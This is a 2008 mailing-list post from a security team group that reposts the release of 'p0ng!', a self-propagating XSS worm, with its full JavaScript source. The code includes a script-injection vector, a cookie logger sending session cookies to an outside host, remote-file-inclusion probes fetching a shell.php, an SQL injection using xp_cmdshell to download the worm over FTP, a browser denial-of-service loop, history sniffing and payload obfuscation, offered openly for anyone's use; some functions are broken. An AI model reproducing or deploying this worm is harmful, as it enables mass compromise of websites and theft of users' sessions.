[zz] Writing A Modular Universal XSS Worm

121 views
Skip to first unread message

大风

unread,
Jan 21, 2008, 9:03:55 PM1/21/08
to ph4...@googlegroups.com

 

 

After the diminutive XSS worm replication contest, I got the idea of writing a universal XSS worm that can be applied in almost any situation or location. No, that was a joke. I had the idea for a long time, but never got around to actually write something like it. The biggest issue regarding webapplication worms isn't about the worm size, but about the hole to let it propagate. With remote Javascript files we can go any place and any size we want to. The only trigger we need is a simple <script/> instance to let it become part of the website and it's DOM. We only have to call the remote Javascript file each time, and we can adjust or modify the payload of the worm at any time. The downside? well, actually there isn't one. One might argue that they could block the remote Javascript file, but when they found out a worm is hitting their system, it's usually too late. Many worms only need a few seconds to become mostly unaddressable annoying. But, p0ng! -as this worm is called- is different. It tries to propagate itself through SQL injection, PHP code injection and also tries to fetch remote shells to upload new copies of itself. Well, that's gonna be nasty to mitigate!

How to propgate it:

"><script src='http://www.acme.com/p0ng.js'></script>


That's usually enough in most XSS holes. Really, besides tailoring the worm to one's needs of course.

a couple of functionalities:

- SQL injection

- DOM Session & global storage (thanks Firefox)

- Remote shells -shell.php? turns victims into new hosts-

- Automatic form fillers

- Javascript source code morpher

- ...Tons of other useful features for a decent worm.


The reason I wrote this universal worm was out of sheer fun. I don't care what anyone else does with it. If bad guys wanted to write something like it, they would have done that already. But screw this disclaimer! it's no magic! It is meant to learn from, and I hope the lesson will be that there is no way of stopping worms unless you just fixes your holes. it is as simple as that. p0ng! doesn't come as a worm out of a can, it needs preparation, a goal and a vulnerable website.

I hope you enjoy it, until next time: stay tuned and stay safe!

/**

 * @name:

   +-+-+-+-+-+-+-+-+-+-+-+

         P  0  N  G !

   +-+-+-+-+-+-+-+-+-+-+-+

 * @file: p0ng.js

 * @author: 0x000000, Ronald van den Heetkamp & guests

 * @func: universal xss worm

 * @date: 2008.01.07

 *

 **/

 



/*** string components ***/



        String.prototype.urlencode = function(){

               return encodeURIComponent(this);

        }

       

        String.prototype.xsplit = function(q,x) {

               b = this.split(q);

               return b[x];

        }

       

        String.prototype.xor = function(n) {

               x = this;

               y = n; x ^ y; y = x ^ y; x = x ^ y;

               return x;

        }

       

        String.prototype.rand = function(n) {

               n ? n = parseInt(n) : n = 1024;

               return (Math.floor(Math.random () * n + 1 ));

        }



        String.prototype.zeroFill = function(d) {

                var str = this; while (str.length < d) { str = "0" + str; }

        return str;

        }

       

        String.prototype.getCharCodes = function() { 

               var codes = [];

               for(var i=0; i<this.length;i++) {

               codes.push(this.charCodeAt(i));

               }

               return codes;

        }

       

        String.prototype.toUnicode = function() {                   

               var code = '';

               var codes = this.getCharCodes();

               for(var i=0; i<codes.length;i++) {

               code += '\\u' + codes[i].toString(16).zeroFill(4);

               }

               return code;

        }      

       

        String.prototype.toOctal = function() {                             

               var code = '';

               var codes = this.getCharCodes();

               for(var i=0; i<codes.length;i++) {

               code += '\\' + codes[i].toString(8);

               }

               return code;

        }      

       

        String.prototype.toHex = function() {

               var code = '';

               var codes = this.getCharCodes();

               for(var i=0; i<codes.length;i++) {

               code += '\\x' + codes[i].toString(16);

               }

               return code;

        }

       

/*** array components ***/



        Array.prototype.in_array  = function(str) {

               ret = false;

               for (i=(this.length-1); i>=0; i--) {

                       if (this[i] == str) {

                       ret = true;

                       }

               }

        return ret;

        }



/*** worm auto-append component ***/



        function worm(uri) {

               w = document.createElement('script');

               uri ? u = uri : u = window.location.href;

               w.src = u;

                       try {

                       document.getElementsByTagName('head')[0].appendChild(w);

                       } catch(ex) {

                       document.getElementsByTagName('body')[0].appendChild(w);

               }

        };

       

/*** worm XHR object ***/



        function xhr() {

   

        var xhtp,xml,s;

        try { xhtp = new XMLHttpRequest(); s=true; } catch(ex) {

        xml = ['MSXML2.XMLHTTP','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP.4.0',

        'MSXML2.XMLHTTP.5.0','MSXML2.XMLHTTP.6.0','MSXML2.XMLHTTP.7.0'];

        for (i=(xml.length-1) && !s; i>=0; i--) {

             try { xhtp = new ActiveXObject(xml[i]); s=true; } catch(ex) { s=false; }

            }

          }

        return xhtp;

        };

       

        Object.prototype.post = function(uri,arg) {

        /*** usage: xhr().post('foo.php'); ***/

        this.open('POST', uri, true);

        this.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

        this.setRequestHeader('Content-length', arg.length);

        this.setRequestHeader('Connection', 'close');

        this.send(arg);

        };

       

        Object.prototype.get = function(uri,argv) {

        /*** usage: xhr().get('foo.php'); ***/

        this.open('GET',uri,true);

        this.send (argv);

        this.onreadystatechange = function () {

       if (this.readyState == 4) {

           if (this.status == 200) {

               var xmlget = this.responseText;

                  }

               }

               };

               this.send(argv);

        return xmlget;

        };

       

/*** DOM storage component ***/



        Object.prototype.domstore = function(url,name,obj) {

               try {

                       globalStorage[''].name=obj; s=false;

               } catch(ex) {

                       url? globalStorage[url].name=obj:globalStorage[document.domain].name;

                       sessionStorage.name = obj;

                       s=true;

               }

        return s;

        };



/*** charset information ***/



        Object.prototype.charset = function () {

               document.charset ? c = document.charset: c = false;

               return c;

        };

       

/*** event attach component ***/

       

        Object.prototype.eventer = function(type,listener,useCapture) {

                try { this.addEventListener(type,listener,useCapture);

               ret = true;

               } catch(ex) { var ret = this.attachEvent('on' + type, listener);

               ret = true;

               }

              

        return ret;

        };



/*** form submitting component ***/



        Object.prototype.fillform = function(data) {

               for(j = 0; j < document.forms.length; ++j) {

                       xform = document.forms[j];

                       for(i = 0; i < xform.elements.length; ++i) {

                       xform.elements[i].value = data;

                       }

               }

        };



/*** form hiddenfield submitting component ***/



        Object.prototype.fillhidden = function(data) {

               for(j = 0; j < document.forms.length; ++j) {

                       xform = document.forms[j];

                       for(i = 0; i < xform.elements.length; ++i) {

                       if(xform.elements[i].type == 'hidden') {

                               xform.elements[i].value = data;

                               }

                       }

               }

        };



/*** element array component ***/



        Object.prototype.elements = function(arg) {

               var elems =[];

               for (i=0;i<arg.length;i++) {

               var e = arg[i];

                       e = document.getElementById(e);

               elems.push(e);

               }

        return elems; 

        };



/*** document links component ***/



        Object.prototype.links = function() {

               rl = [];

               lk = document.links;

               for(y=0;y<lk.length;++y) {    

                       rl.push(lk[y]);

               }

        return rl;

        };

       

/*** query parts component ***/



        Object.prototype.queryparts = function(uri) {

               k = [];

               uri?uri=uri:uri=window.location.href;

               (uri.indexOf('?')==-1)?i=0:i=1;

                       if(i) {

                       //uri = uri.search(/\?/)

                       j = uri.split("&");

                               for(i=1;i<j.length;i++) {  

                                      j[i] = j[i].replace(/=(.*)/,'');

                                      k.push(j[i]);

                               }

                       } else {

                       k = 0;

               }

        return k;

        };



/*** cookie logger component ***/



        Object.prototype.logcookie = function(uri) {

            var img = document.createElement('img');

        document.appendChild(img);

               img.src = uri + "?c="+escape(document.cookie)+"q="+rand();

        };

       

/*** color calculating component ***/

       

        Object.prototype.visited = function(color) {



               c = color;

               if (this.currentStyle) {

                       var x = this.currentStyle['color'];

                       } else if (window.getComputedStyle) {

                       var x = document.defaultView.getComputedStyle(this,null).getPropertyValue('color');

               }

              

               if(c == x) { res = true; } else { res = false; }

               return res;

        };



/*** most clicked links estimater ***/



        Object.prototype.estimate = function(color) {

              

               var link_array = [];

                       for(i in links()) {

                               if(i.visited(color)) {

                                      link_array.push(i);

                               }

                       }

        return link_array;

        }

       

/*** denial of service trigger ***/



        Object.prototype.dos = function() {

        this.onfocus = function() {d()}

        this.onblur  = function() {d()}

        function d() {

        for(i=0;i<800;i++) {

               url = window.location.href;

               uri = document.location = url;

                       if (!uri.closed && url.location) {

                               document.location = url;

                       }

               }

        }

        };

       

/*** remote shell spawning component ***/



        Object.prototype.spawnshell = function(uri) {

               shell = uri + 'shell.php?';

               var gateways = ['base_path','theme_path','cmd','dir','req_path','template','base_path','page',

                'systempath','phpbb_root_path','returnpath','inc_dir','include','CONFIG[path]','inc','main_path',

               'mosConfig_absolute_path','basepath','configFile'];

                      

               for(i=0;i<gateways.length;++i) {

                       xhr().get(document.domain + '?',gateways[i] + '=' + shell);

               }

        };     

       

/*** hit & run shellspawner ***/



        Object.prototype.hitandrun = function(uri) {

               shell = uri + 'shell.php?';

               var gateways = [];

               var l = links();

                       for(j = 0; j < l.length; ++j) {

                               gateways.push(queryparts(l[j]))

                       }

                       for(i = 0; i < gateways.length; ++i) {

                               xhr().get(document.domain + '?',gateways[i] + '=' + shell);

                       }

        };     

       

/*** SQL injecter component pOc ***/



        Object.prototype.sqlinject = function(vuln_uri,ftpip) {

seq  = "1'; exec master..xp_cmdshell 'echo open "+ftpip+" 21 >> %systemroot%\inetpub\wwwroot\p0ng.js';";

seq += "exec master..xp_cmdshell 'echo user foo bar >> %systemroot%\inetpub\wwwroot\p0ng.js';";

seq += "exec master..xp_cmdshell 'echo get %systemroot%\inetpub\wwwroot\p0ng.js >>";

seq += "%systemroot%\inetpub\wwwroot\p0ng.js';";

seq += "exec master..xp_cmdshell 'echo quit >> %systemroot%\inetpub\wwwroot\p0ng.js';";

seq += "exec master..xp_cmdshell 'ftp -i -n -v -s: %systemroot%\inetpub\wwwroot\p0ng.js';";



               try {

               xhr().get(vuln_uri+seq)

               } catch(ex) {

               return false  

               }

        };



/*** source morphing component ***/  



        String.prototype.toVariables = function() {

               var code = this;                     

               var operators = ['>','<','&','&&','|','||','%','==','!=','===','!=='];     

               var operator = operators[Math.floor(Math.random()*operators.length)];

               var number1 = Math.floor(Math.random()*10);

               var number2 = Math.floor(Math.random()*10);

               var statement = number1+operator+number2;

               var concatStr = '';   

                       if(eval(statement) == true) {concatStr += statement; } else {

                       concatStr += '!' + statement; }      

               concatStr += "?'s1':0";

               var customConcat = concatStr;

               var separateStatements = ',';

               var variablePrefixes = ['b2_','x2_','$_','x_','s_'];

               var pos = Math.floor(Math.random()*variablePrefixes.length);

               var varName = variablePrefixes[pos];

               var vector = concatStr;

               var concatString = '';

               for(var i=0; i<code.length;i++) {

               concatString += (varName + i + '=') + vector.replace("s1", code.charAt(i)) + separateStatements;                                 

               }

               concatString += '' + varName + (i++) + '=';

                       for(var i=0; i<code.length;i++) {

                               concatString += (varName + i);

                               if(i + 1 < code.length) {

                                      concatString += '+';

                               }

                       }

               return concatString;

        }

       

        Object.prototype.morph = function(s) {

               var source = s;

               var m = ['unicode','charcodes','octal','hex','urlencode','variables'];

                       var pos=Math.floor(Math.random() * m.length);

                       morphtype = m[pos];

                       source = morphselection(source,morphtype);   

                       return;

               }

       

               switch(morphtype) {

                       case "unicode":source = "eval('"+ source.toUnicode() + "')"; break;

                       case "charcodes":source = 'eval(String.fromCharCode(' + source.getCharCodes() + '))'; break;

                       case "octal":source = "eval('"+ source.toOctal() + "')"; break;

                       case "hex":source = "eval('"+ source.toHex() + "')"; break;

                      case "urlencode":source = "eval(unescape('"+ escape(source) + "'))"; break;

                       case "variables":source = source.toVariables(); break;                        

               }

                       return source;

        };

       

        Object.prototype.morphselection = function(source,morphtype) {      

               switch(morphtype) {

                       case "unicode":source = matchUnicode(source); break;

                       case "octal":source = matchOctal(source); break;

                       case "hex":source = matchHex(source); break; 

                       case "urlencode":source = matchUrlencode(source); break;    

                       case "charcodes":source = matchCharcodes(source); break;    

                       case "variables":source = matchVariables(source); break;                                                    

               }

               return source;

        };

              

        Object.prototype.matchVariables = function(source) { 

               source = source.replace(/(['])([^']+)(['])/,

               function($0, $1, $2, $3) { return $2.toVariables() } );

               source = source.replace(/(["])([^"]+)(["])/,

               function($0, $1, $2, $3) { return $2.toVariables() } );

               return source;

        };

       

        Object.prototype.matchCharcodes = function(source) { 

               source = source.replace(/(['])([^']+)(['])/,

               function($0, $1, $2, $3) { return 'String.fromCharCode(' + $2.getCharCodes() + ')' } );

               source = source.replace(/(["])([^"]+)(["])/,

               function($0, $1, $2, $3) { return 'String.fromCharCode(' + $2.getCharCodes() + ')' } );

               return source;

        };

       

        Object.prototype.matchUrlencode = function(source) { 

               source = source.replace(/(['])([^']+)(['])/,

               function($0, $1, $2, $3) { return 'unescape(\'' + escape($2) + '\')' } );

               source = source.replace(/(["])([^"]+)(["])/,

               function($0, $1, $2, $3) { return 'unescape("' + escape($2) + '\")' } );

               return source;

        };

       

        Object.prototype.matchOctal = function(source) {     

               source = source.replace(/(['])([^']+)(['])/,

               function($0, $1, $2, $3) { return $1 + $2.toOctal() + $3 } );

               source = source.replace(/(["])([^"]+)(["])/,

               function($0, $1, $2, $3) { return $1 + $2.toOctal() + $3 } );

               return source;

        };

       

        Object.prototype.matchHex = function(source) {       

               source = source.replace(/(['])([^']+)(['])/,

               function($0, $1, $2, $3) { return $1 + $2.toHex() + $3 } );

               source = source.replace(/(["])([^"]+)(["])/,

               function($0, $1, $2, $3) { return $1 + $2.toHex() + $3 } );

               return source;

        };

       

        Object.prototype.matchUnicode = function(source) {   

               source = source.replace(/(\\[uU][\w\d]{4})?(\w*)([\s(]?)/,

               function($0, $1, $2, $3) { return $1 + $2.toUnicode() + $3 } );

               source = source.replace(/(['])([^']+)(['])/,

               function($0, $1, $2, $3) { return $1 + $2.toUnicode() + $3 } );

               source = source.replace(/(["])([^"]+)(["])/,

               function($0, $1, $2, $3) { return $1 + $2.toUnicode() + $3 } );

               return source;

        };

 

 

 

[Ph4nt0m]

[Ph4nt0m Security Team]

                  @ph4nt0m

          Email:  ax...@ph4nt0m.org

          PingMe:

          === V3ry G00d, V3ry Str0ng ===

          === Ultim4te H4cking ===

          === XPLOITZ ! ===

          === #_# ===

#If you brave,there is nothing you cannot achieve.#

 

 

image001.gif
Reply all
Reply to author
Forward
0 new messages